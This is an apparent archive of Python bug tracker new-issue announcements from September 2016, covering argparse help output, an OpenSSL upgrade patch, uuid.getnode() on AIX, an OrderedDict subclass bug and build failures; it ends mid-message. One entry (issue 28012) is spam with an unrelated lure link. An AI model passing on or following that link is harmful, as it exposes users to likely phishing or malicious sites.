>>> import argparse
>>> help(argparse)

>>>

Output:

|  add_subparsers(self, **kwargs)
|      # ==================================
|      # Optional/Positional adding methods
|      # ==================================
|  
|  convert_arg_line_to_args(self, arg_line)
|  
|  error(self, message)
|      error(message: string)
|      
|      Prints a usage message incorporating the message to stderr and
|      exits.
|      
|      If you override this in a subclass, it should not return -- it
|      should either exit or raise an exception.
|  
|  exit(self, status=0, message=None)
|      # ===============
|      # Exiting methods
|      # ===============
|  
|  format_help(self)
|  
|  format_usage(self)
|      # =======================
|      # Help-formatting methods
|      # =======================
|  
|  parse_args(self, args=None, namespace=None)
|      # =====================================
|      # Command line argument parsing methods
|      # =====================================
|  
|  parse_known_args(self, args=None, namespace=None)
|  
|  print_help(self, file=None)
|  
|  print_usage(self, file=None)
|      # =====================
|      # Help-printing methods
|      # =====================
|  
|  ----------------------------------------------------------------------
|  Methods inherited from _AttributeHolder:
...


There are no docstrings for methods, hence some internal comments picked up instead.

----------
assignee: docs at python
components: Documentation, Library (Lib)
messages: 274738
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse help(argparse) prints weird comments instead of good docstrings
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27994>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:21:47 2016
From: report at bugs.python.org (Shaun Walbridge)
Date: Wed, 07 Sep 2016 03:21:47 +0000
Subject: [New-bugs-announce] [issue27995] Upgrade Python 3.4 to OpenSSL
 1.0.2h
Message-ID: <1473218507.98.0.0291056472337.issue27995@psf.upfronthosting.co.za>


New submission from Shaun Walbridge:

>From the release notes of Python 3.4.5, I see that 3.4 is now in "security fixes only" mode, and no new installers will be created. That said, OpenSSL should be kept up to date so third-parties who build binaries from source will receive upstream patches (there are 18 CVEs against OpenSSL 1.0.2d). This patch upgrades OpenSSL to 1.0.2h for Windows builds.

I initially used the same fix applied in #26930 here, but the relevant intermediate OpenSSL headers (crypto/buildinf_amd64.h, crypto/buildinf_x86.h, crypto/opensslconf_amd64.h, crypto/opensslconf_x86.h) aren't included in the openssl-1.0.2h externals repository [1]. The included patch fixes this by forcing the intermediate configuration files to be written, which doesn't seem to add much to the compilation time and avoided deeper changes to the OpenSSL build process, but there likely is a more elegant solution to this issue.

With this patch applied, Python 3.4.5 compiled and tests ran cleanly locally both the x64 and Win32 targets, compiled using Visual Studio 2010. 


1. http://svn.python.org/projects/external/openssl-1.0.2h/

----------
components: Build, Windows
files: openssl-upgrade.patch
keywords: patch
messages: 274739
nosy: paul.moore, scw, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Upgrade Python 3.4 to OpenSSL 1.0.2h
type: security
versions: Python 3.4
Added file: http://bugs.python.org/file44422/openssl-upgrade.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27995>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:25:51 2016
From: report at bugs.python.org (SenBin Yu)
Date: Wed, 07 Sep 2016 03:25:51 +0000
Subject: [New-bugs-announce] [issue27996] Python 3 ssl module can't use a
 fileno to create a SSLSocket
Message-ID: <1473218751.66.0.520708596469.issue27996@psf.upfronthosting.co.za>


New submission from SenBin Yu:

In the SSLSocket __init__ function, it's ok to do a socket type check with argument sock.But meanwhile the sock argument can't be None, which make the SSLSocket socket __init__ way meaningless.Although there are three branch conditions as argument sock, fileno and other.

----------
components: Library (Lib)
files: SSLSocket_sock.png
messages: 274740
nosy: SenBin Yu
priority: normal
severity: normal
status: open
title: Python 3 ssl module can't use a fileno to create a SSLSocket
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44423/SSLSocket_sock.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27996>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:35:32 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 03:35:32 +0000
Subject: [New-bugs-announce] [issue27997] ImportError should be raised
 consistently from import machinery.
Message-ID: <1473219332.87.0.127432469281.issue27997@psf.upfronthosting.co.za>


New submission from Eric Snow:

As indicated by issue #16384, the import machinery is not consistent in raising ImportError.  Some places in _bootstrap.py (and _bootstrap_external.py) raise ImportError and others make no effort to wrap errors that get encountered.  I would expect the import machinery to always raise ImportError, except that errors coming from executing a module to stay unwrapped.

I haven't had a chance yet to catalog the specific cases of inconsistency.  Regardless, changing to be consistent would introduce backward compatibility.  However, it should not be a big problem so I think we'd be okay (with an appropriate What's New entry).

----------
components: Interpreter Core
messages: 274742
nosy: brett.cannon, eric.snow, ncoghlan
priority: normal
severity: normal
stage: test needed
status: open
title: ImportError should be raised consistently from import machinery.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27997>
_______________________________________

From report at bugs.python.org  Wed Sep  7 04:21:10 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 08:21:10 +0000
Subject: [New-bugs-announce] [issue27998] Add support of butes paths in
 os.scandir()
Message-ID: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Bytes paths are deprecated on Windows and their support was not added in os.scandir() for purpose. But this makes harder converting filesystem walking functions to use os.scandir(). We have to add a special case for bytes paths on Windows in every such function (os.walk(), glob.iglob()). This is cumbersome inefficient and errorprone code that slows down common case due to additional checks for special case. It would be better to add a support of bytes paths directly in os.scandir().

----------
components: Extension Modules, Windows
messages: 274778
nosy: benhoyt, haypo, paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Add support of butes paths in os.scandir()
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 10:08:38 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 14:08:38 +0000
Subject: [New-bugs-announce] [issue27999] Make "global after use" a
 SyntaxError
Message-ID: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

The documentation at https://docs.python.org/3/reference/simple_stmts.html says that:

"Names listed in a global statement must not be used in the same code block textually preceding that global statement"

But then later:

"CPython implementation detail: The current implementation does not enforce the two restrictions,
but programs should not abuse this freedom, as future implementations may enforce them..."

Code like this

def f():
    x = 1
    global x

gives SyntaxWarning for several releases, maybe it is time to make it a SyntaxError?

----------
assignee: docs at python
components: Documentation, Interpreter Core
messages: 274813
nosy: docs at python, gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Make "global after use" a SyntaxError
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Wed Sep  7 11:21:43 2016
From: report at bugs.python.org (Matthieu S)
Date: Wed, 07 Sep 2016 15:21:43 +0000
Subject: [New-bugs-announce] [issue28000] Build fails on AIX with
 _LINUX_SOURCE_COMPAT flag
Message-ID: <1473261703.53.0.692891859324.issue28000@psf.upfronthosting.co.za>


New submission from Matthieu S:

Python build fails on AIX when using the _LINUX_SOURCE_COMPAT flag.

When using this flag, the gethostbyname_r subroutine has 6 parameters instead of 3, like on Linux, but Modules/socketmodule.c always expects a gethostbyname_r subroutine with only 3 parameters on AIX.

The attached patch allows to build with this flag. It has been tested for Python 3.5.1 and 3.5.2 with GCC and XLC compilers.

----------
components: Extension Modules
files: Python-3.5.1-compat.patch
keywords: patch
messages: 274819
nosy: sarterm
priority: normal
severity: normal
status: open
title: Build fails on AIX with _LINUX_SOURCE_COMPAT flag
type: compile error
versions: Python 3.5
Added file: http://bugs.python.org/file44440/Python-3.5.1-compat.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28000>
_______________________________________

From report at bugs.python.org  Wed Sep  7 12:59:06 2016
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 07 Sep 2016 16:59:06 +0000
Subject: [New-bugs-announce] [issue28001] test.support.open_urlresource
 should work from an installed Python
Message-ID: <1473267546.3.0.996617226818.issue28001@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
nosy: christian.heimes, r.david.murray, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: test.support.open_urlresource should work from an installed Python
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28001>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:18:18 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 07 Sep 2016 17:18:18 +0000
Subject: [New-bugs-announce] [issue28002] f-strings do not round trip
 through Tools/parser/test_unparse.py
Message-ID: <1473268698.62.0.800338957351.issue28002@psf.upfronthosting.co.za>


New submission from Eric V. Smith:

The problem relates to how f-strings are re-created.

For the input file foo.txt containing this one line:
f'''{"'"}'''

Run:
./python Tools/parser/test_unparse.py foo.txt

Gives this output:
f'{"\'"}'

This result is not a valid f-string, since it contains a backslash inside the expression part of the f-string.

The input string is a valid f-string:
>>> f'''{"'"}'''
"'"

----------
components: Demos and Tools
messages: 274841
nosy: eric.smith
priority: low
severity: normal
status: open
title: f-strings do not round trip through Tools/parser/test_unparse.py
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28002>
_______________________________________

From report at bugs.python.org  Wed Sep  7 13:29:34 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 07 Sep 2016 17:29:34 +0000
Subject: [New-bugs-announce] [issue28003] PEP 525 asynchronous generators
 implementation
Message-ID: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

The PEP has been accepted, let's review the reference implementation and get it committed.

----------
assignee: yselivanov
components: Interpreter Core
files: asyncgen_1.patch
keywords: patch
messages: 274845
nosy: haypo, lukasz.langa, yselivanov
priority: normal
severity: normal
stage: patch review
status: open
title: PEP 525 asynchronous generators implementation
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44443/asyncgen_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:15:06 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 07 Sep 2016 18:15:06 +0000
Subject: [New-bugs-announce] [issue28004] Optimize bytes.join(sequence)
Message-ID: <1473272106.7.0.875359968235.issue28004@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The article https://atleastfornow.net/blog/not-all-bytes/ says that bytes.join(sequence) is slower on Python 3 compared to Python 2.

I compared Python 2 and Python 3 code: the main different seems to be that Python 3 uses the Py_buffer API to support more types than only bytes, and that it allocates a buffer (on the C stack or on the heap memory) of Py_buffer objects.

Attached patch makes bytes.join(sequence) up to 29% faster. The patch avoids the Py_buffer API and the allocation of the temporary array of Py_buffer if all items are bytes or bytearray.


I'm not 100% sure that it's worth it to optimize bytes.join().

On Python 2, bytes += bytes uses an hack in Python/ceval.c to optimize this instruction. On Python 3, the optimization is only applied to str += str (unicode), bytes += bytes is inefficient. To get best performances on Python 2 and Python 3, bytes.join(sequence) is better than bytes+=bytes.


Microbenchmark commands:

$ ./python -m perf timeit -s "sep=b''; seq=(b'hello', b'world')" 'sep.join(seq)'
$ ./python -m perf timeit -s "sep=b''; seq=(b'hello', b'world', b'. ') * 100" 'sep.join(seq)'

Python 3.6 => patched Python3.6:

* 2 items: 92.1 ns +- 1.8 ns => 90.3 ns +- 3.1 ns (-2%)
* 300 items: 3.11 us +- 0.07 us => 2.22 us +- 0.11 us (-29%)


--


I'm not sure that Python 3 is really slower than Python 2 :-/ Python 3.5 is 10 ns slower tha Python 2.7 for sequence of 2 items, but it's 6% faster for 300 items.

So the question is if it's worth it to optimize bytes.join().

Python 2:

* 2 items: 87.7 ns +- 3.7 ns
* 300 items: 3.25 us +- 0.11 us

Python 3.5:

* 2 items: 97.4 ns +- 9.0 ns
* 300 items: 3.06 us +- 0.20 us

----------
files: bytes_join.patch
keywords: patch
messages: 274855
nosy: haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Optimize bytes.join(sequence)
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44444/bytes_join.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28004>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:17:08 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 18:17:08 +0000
Subject: [New-bugs-announce] [issue28005] Broken encoding modules are
 silently skipped.
Message-ID: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>


New submission from Eric Snow:

In Lib/encodings/__init__.py, search_function() looks up an encoding by name.  It loads the encoding by importing the corresponding module in the encodings package.  If there's an ImportError while importing that module then the encoding gets silently ignored.  I noticed this while working on issue #16384.

While I don't have any direct interest in the matter, I expect that it would be more useful to users if we issued a warning or some other printed message when an encoding is ignored.

----------
components: Interpreter Core
messages: 274856
nosy: eric.snow
priority: normal
severity: normal
stage: test needed
status: open
title: Broken encoding modules are silently skipped.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Wed Sep  7 14:54:52 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 18:54:52 +0000
Subject: [New-bugs-announce] [issue28006] Remove tracing overhead from the
 fine-grained fast opcodes
Message-ID: <1473274492.45.0.298672854807.issue28006@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

The fast opcodes are ones where we bypass signal/event checking, but they still have the overhead of checking for tracing enabled (this doesn't seem like much, it adds a memory access and can take almost half the time for some of these already quick opcodes).

I haven't seen an effect on the upstream line level tracing but this needs a second look to be sure there isn't an unanticipated consequence.

----------
assignee: steve.dower
components: Interpreter Core
files: trace.diff
keywords: patch
messages: 274867
nosy: rhettinger, steve.dower
priority: normal
severity: normal
stage: patch review
status: open
title: Remove tracing overhead from the fine-grained fast opcodes
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44447/trace.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28006>
_______________________________________

From report at bugs.python.org  Wed Sep  7 15:49:38 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 19:49:38 +0000
Subject: [New-bugs-announce] [issue28007] Bad .pyc files prevent import of
 otherwise valid .py files.
Message-ID: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>


New submission from Eric Snow:

As pointed out in #16384, a bad .pyc file will cause a module to fail importing.  Sometimes the .py file is okay, however.  The question posed in the other issue is if it would be desirable to fall back to the .py file.

FWIW, I don't think it's worth it.

----------
components: Interpreter Core
messages: 274872
nosy: barry, brett.cannon, eric.snow, ncoghlan, syeberman
priority: normal
severity: normal
stage: needs patch
status: open
title: Bad .pyc files prevent import of otherwise valid .py files.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Wed Sep  7 17:15:27 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 07 Sep 2016 21:15:27 +0000
Subject: [New-bugs-announce] [issue28008] PEP 530,
 asynchronous comprehensions implementation
Message-ID: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

This patch is supposed to be committed after issue #28003.

----------
assignee: yselivanov
components: Interpreter Core
files: async_comp_1.patch
keywords: patch
messages: 274897
nosy: haypo, lukasz.langa, ned.deily, yselivanov
priority: release blocker
severity: normal
stage: patch review
status: open
title: PEP 530, asynchronous comprehensions implementation
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44451/async_comp_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:18:35 2016
From: report at bugs.python.org (Michael Felt)
Date: Wed, 07 Sep 2016 23:18:35 +0000
Subject: [New-bugs-announce] [issue28009] core logic of uuid.getnode() is
 broken for AIX - all versions
Message-ID: <1473290315.48.0.840701308825.issue28009@psf.upfronthosting.co.za>


New submission from Michael Felt:

Short version:

the five routines get_node() calls to get the MAC address either fail by definition, or is wrong.

The one routine that works - is wrong because it returns the same value regardless of the system it runs on - wrong character is used to identify the string containing the mac address.

Recommended: correct and call the one routine that can work for AIX.

Details (using Python2.7 as template, applies to all Python3 versions as well)

  +511  def getnode():
  +512      """Get the hardware address as a 48-bit positive integer.
  +513
  +514      The first time this runs, it may launch a separate program, which could
  +515      be quite slow.  If all attempts to obtain the hardware address fail, we
  +516      choose a random 48-bit number with its eighth bit set to 1 as recommended
  +517      in RFC 4122.
  +518      """
  +519
  +520      global _node
  +521      if _node is not None:
  +522          return _node
  +523
  +524      import sys
  +525      if sys.platform == 'win32':
  +526          getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
  +527      else:
  +528          getters = [_unixdll_getnode, _ifconfig_getnode, _arp_getnode,
  +529                     _lanscan_getnode, _netstat_getnode]
  +530
  +531      for getter in getters + [_random_getnode]:
  +532          try:
  +533              _node = getter()
  +534          except:
  +535              continue
  +536          if _node is not None:
  +537              return _node
  +538
  +539  _last_timestamp = None

unixdll_getnode depends on finding uuid_generate_time in either libuuid, libc, or None

On a default install of AIX:
find_library("uuid") returns None
nm -Ae /usr/lib/*.a | grep uuid_generate # does not return a function name, no .a archives are stripped

  +339  def _ifconfig_getnode():
  +340      """Get the hardware address on Unix by running ifconfig."""
  +341      # This works on Linux ('' or '-a'), Tru64 ('-av'), but not all Unixes.
  +342      for args in ('', '-a', '-av'):
  +343          mac = _find_mac('ifconfig', args, ['hwaddr', 'ether'], lambda i: i+1)
  +344          if mac:
  +345              return mac

Does not work on AIX - why call it?

  +347  def _arp_getnode():
  +348      """Get the hardware address on Unix by running arp."""
  +349      import os, socket
  +350      try:
  +351          ip_addr = socket.gethostbyname(socket.gethostname())
  +352      except EnvironmentError:
  +353          return None
  +354
  +355      # Try getting the MAC addr from arp based on our IP address (Solaris).
  +356      return _find_mac('arp', '-an', [ip_addr], lambda i: -1)

Does not work on one Linux system I tried
root at x066:~# arp -an 192.168.129.66
arp: in 2 entries no match found.

on AIX:
root at x064:[/data/prj/aixtools/python/python-2.7.12.1]arp -an 192.168.129.64
  ? (192.168.129.254) at XX:YY:11:aa:ZZ:ca [ethernet] stored in bucket 27
...
Nothing for it's own IP address
again, why call it.

 +358  def _lanscan_getnode():
  +359      """Get the hardware address on Unix by running lanscan."""
  +360      # This might work on HP-UX.
  +361      return _find_mac('lanscan', '-ai', ['lan0'], lambda i: 0)

Again, from comments - looks like it should work on HP-UX, so why call it on AIX
(linux was probably solved via one of the first two, so no impact there)

So, finally, after 4 guaranteed failures the following is called:

 +363  def _netstat_getnode():
  +364      """Get the hardware address on Unix by running netstat."""
  +365      # This might work on AIX, Tru64 UNIX and presumably on IRIX.
  +366      try:
  +367          pipe = _popen('netstat', '-ia')
  +368          if not pipe:
  +369              return
  +370          with pipe:
  +371              words = pipe.readline().rstrip().split()
  +372              try:
  +373                  i = words.index('Address')
  +374              except ValueError:
  +375                  return
  +376              for line in pipe:
  +377                  try:
  +378                      words = line.rstrip().split()
  +379                      word = words[i]
  +380                      if len(word) == 17 and word.count(':') == 5:
  +381                          mac = int(word.replace(':', ''), 16)
  +382                          if mac:
  +383                              return mac
  +384                  except (ValueError, IndexError):
  +385                      pass
  +386      except OSError:
  +387          pass

For AIX - lines 380 and 381 do work - except the answer is ALWAYS the same:

See host x071:
michael at x071:[/usr/lib]netstat -ia
Name  Mtu   Network     Address            Ipkts Ierrs    Opkts Oerrs  Coll
en0   1500  link#2      fa.d1.8c.f7.62.4 553220627     0 181051589     0     0
                        01:00:5e:00:00:01
en0   1500  192.168.129 x071             553220627     0 181051589     0     0
                        224.0.0.1
en1   65390 link#3      fa.d1.8c.f7.62.5  8004448     0 11655497     0     0
                        01:00:5e:00:00:01
en1   65390 192.168.2   mail.aixtools.co  8004448     0 11655497     0     0
                        224.0.0.1
lo0   16896 link#1                         197583     0   197583     0     0
lo0   16896 127         loopback           197583     0   197583     0     0
                        224.0.0.1
lo0   16896 loopback                       197583     0   197583     0     0
                        ff01::1
                        ff02::1:ff00:1

See host x064:
root at x064:[/data/prj/aixtools/python/python-2.7.12.1]netstat -ia
Name  Mtu   Network     Address            Ipkts Ierrs    Opkts Oerrs  Coll
en0   1500  link#2      0.21.5e.a3.c7.44    192718     0    93218     0     0
                        01:00:5e:00:00:01
en0   1500  192.168.129 x064                192718     0    93218     0     0
                        224.0.0.1
lo0   16896 link#1                             231     0      240     0     0
lo0   16896 127         loopback               231     0      240     0     0
                        224.0.0.1
lo0   16896 ::1                                231     0      240     0     0
                        ff01::1
                        ff02::1:ff00:1
                        ff02::1

The answer found is always
01:00:5e:00:00:01

Where, for AIX at least, line 380 and line 381 should be looking at the character '.', not ':'
which is valid for linux, and perhaps others.

So,

two corrections suggested:

line 380 + 381 (or as appropriate per Python version) - modify:

  +378                      words = line.rstrip().split()
  +379                      word = words[i]
  +380                      if sys.platform.startswith("aix"):
  +381                          str = "."
  +382                      else:
  +383                          str = ":"
  +384                      if len(word) == 17 and word.count(str) == 5:
  +385                          mac = int(word.replace(str, ''), 16)
  +386                          if mac:
  +387                              return mac

NOTE: if str need to be a chr, then use that instead.

But much earlier in program logic - modify:

  +525      if sys.platform == 'win32':
  +526          getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
  +527      else:
  +528          getters = [_unixdll_getnode, _ifconfig_getnode, _arp_getnode,
  +529                     _lanscan_getnode, _netstat_getnode]

to

  +529      if sys.platform == 'win32':
  +530          getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
  +531      elif sys.platform.startswith("aix"):
  +532          getters = [_netstat_getnode]
  +533      else:
  +534          getters = [_unixdll_getnode, _ifconfig_getnode, _arp_getnode,
  +535                     _lanscan_getnode, _netstat_getnode]

----------
components: Library (Lib)
messages: 274909
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: core logic of uuid.getnode() is broken for AIX - all versions
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28009>
_______________________________________

From report at bugs.python.org  Wed Sep  7 19:37:10 2016
From: report at bugs.python.org (p0lm)
Date: Wed, 07 Sep 2016 23:37:10 +0000
Subject: [New-bugs-announce] [issue28010]
 http.client.HTTPConnection.putrequest incorrect arguments
Message-ID: <1473291430.61.0.706860588682.issue28010@psf.upfronthosting.co.za>


New submission from p0lm:

Currently the arguments for HTTPConnection.putrequest in the http.client documentation are listed as "request, selector, skip_host=False, skip_accept_encoding=False". This does not reflect the correct arguments:
>>> from http.client import HTTPConnection
>>> help(HTTPConnection.putrequest)

putrequest(self, method, url, skip_host=0, skip_accept_encoding=0)
    Send a request to the server.
    
    `method' specifies an HTTP request method, e.g. 'GET'.
    `url' specifies the object being requested, e.g. '/index.html'.
    `skip_host' if True does not add automatically a 'Host:' header
    `skip_accept_encoding' if True does not add automatically an
       'Accept-Encoding:' header

Fix:
Change `request` and `selector` to `method` and `url` respectively.

----------
assignee: docs at python
components: Documentation
messages: 274913
nosy: docs at python, p0lm
priority: normal
severity: normal
status: open
title: http.client.HTTPConnection.putrequest incorrect arguments
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28010>
_______________________________________

From report at bugs.python.org  Wed Sep  7 21:54:03 2016
From: report at bugs.python.org (Pabitra)
Date: Thu, 08 Sep 2016 01:54:03 +0000
Subject: [New-bugs-announce] [issue28011] winreg KEY_READ also fails for
 some keys
Message-ID: <1473299643.82.0.127834530575.issue28011@psf.upfronthosting.co.za>


New submission from Pabitra:

UAC does not give KEY_ALL_ACCESS on various keys, that's a know fact. But, KEY_READ access also throws WindowsError: [Error 5] Access is denied for few keys.

Out of all the keys in HKEY_USERS, I am trying to access, "S-1-5-18",  "S-1-5-19" and  "S-1-5-20". Openkey() with KEY_READ works fine for "S-1-5-18". However for "S-1-5-19" and  "S-1-5-20" it fails (even if I use KEY_READ access).

Then how can I read the values for those specific keys, if KEY_READ also shows access denied?

----------
components: Windows
files: Winreg.jpg
messages: 274951
nosy: pabitra, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: winreg KEY_READ also fails for some keys
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44456/Winreg.jpg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28011>
_______________________________________

From report at bugs.python.org  Wed Sep  7 22:45:29 2016
From: report at bugs.python.org (Gukas Artunyan)
Date: Thu, 08 Sep 2016 02:45:29 +0000
Subject: [New-bugs-announce] [issue28012] meditation
Message-ID: <000036b38467$7c052f12$c810f15c$@yahoo.com>


New submission from Gukas Artunyan:

Hi! 

Here are some of my meditations on life and art, please read them and tell me what you  think, here is the link <http://ltositriphu.anglecpa.com/lnohean>

My best to you, gukaar77

----------
messages: 274956
nosy: gukaar77
priority: normal
severity: normal
status: open
title: meditation

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28012>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:15:36 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 03:15:36 +0000
Subject: [New-bugs-announce] [issue28013] PPC64 Fedora socket and ssl
 compile failure
Message-ID: <1473304536.57.0.349804951124.issue28013@psf.upfronthosting.co.za>


New submission from Martin Panter:

First build that failed is <http://buildbot.python.org/all/builders/PPC64%20Fedora%203.x/builds/1510>. Sample of the error messages:

In file included from /usr/include/bluetooth/bluetooth.h:37:0,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.h:58,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.c:321:
/usr/include/bluetooth/bluetooth.h: In function ?bt_get_le64?:
/usr/include/bluetooth/bluetooth.h:238:18: error: expected specifier-qualifier-list before ?typeof?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: called object is not a function or function pointer
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: ?struct <anonymous>? has no member named ?__v?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^

Benjamin, the commits leading up to this include a lot of your C99 changes, so I added you, but I don?t have any definitive proof it?s your fault :)

----------
components: Extension Modules
keywords: buildbot
messages: 274957
nosy: benjamin.peterson, martin.panter
priority: normal
severity: normal
status: open
title: PPC64 Fedora socket and ssl compile failure
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28013>
_______________________________________

From report at bugs.python.org  Wed Sep  7 23:28:02 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 03:28:02 +0000
Subject: [New-bugs-announce] [issue28014] Strange interaction between
 methods in subclass of C OrderedDict
Message-ID: <1473305282.86.0.291402257469.issue28014@psf.upfronthosting.co.za>


New submission from Zachary Ware:

I'm not certain that the implementation of this subclass of OrderedDict is actually sane, but it works in 3.4 and fails in 3.5+.

The buggy implementation:

class SimpleLRUCache(OrderedDict):

    def __init__(self, size):
        super().__init__()
        self.size = size

    def __getitem__(self, item):
        value = super().__getitem__(item)
        self.move_to_end(item)
        return value

    def __setitem__(self, key, value):
        while key not in self and len(self) >= self.size:
            self.popitem(last=False)
        super().__setitem__(key, value)
        self.move_to_end(key)


When trying to add a new item after `size` items are already in the cache, it will throw a KeyError with the key of the item in the oldest position.  Something like:

>>> s = SimpleLRUCache(2)
>>> s['t1'] = 1
>>> s['t2'] = 2
>>> s['t2'] # gives 2, properly moves 2 to the end
>>> s['t3'] = 3

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "simple_lru.py", line 14, in __setitem__
    self.popitem(last=False)
  File "simple_lru.py", line 9, in __getitem__
    self.move_to_end(item)
KeyError: 't3'


I can work around the failure by implementing __getitem__ as follows:

    def __getitem__(self, item):
        value = super().__getitem__(item)
        del self[item]
        self[item] = value
        return value

Attached is a script with a couple of tests that pass with 3.4 and fail with 3.5+.

----------
files: simple_lru.py
messages: 274959
nosy: eric.snow, zach.ware
priority: normal
severity: normal
status: open
title: Strange interaction between methods in subclass of C OrderedDict
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44458/simple_lru.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28014>
_______________________________________

From report at bugs.python.org  Thu Sep  8 03:45:09 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 07:45:09 +0000
Subject: [New-bugs-announce] [issue28015] configure --with-lto builds fail
 when CC=clang on Linux, requires gold linker
Message-ID: <1473320709.67.0.0429640617864.issue28015@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

The error message you will see when building may look something like:

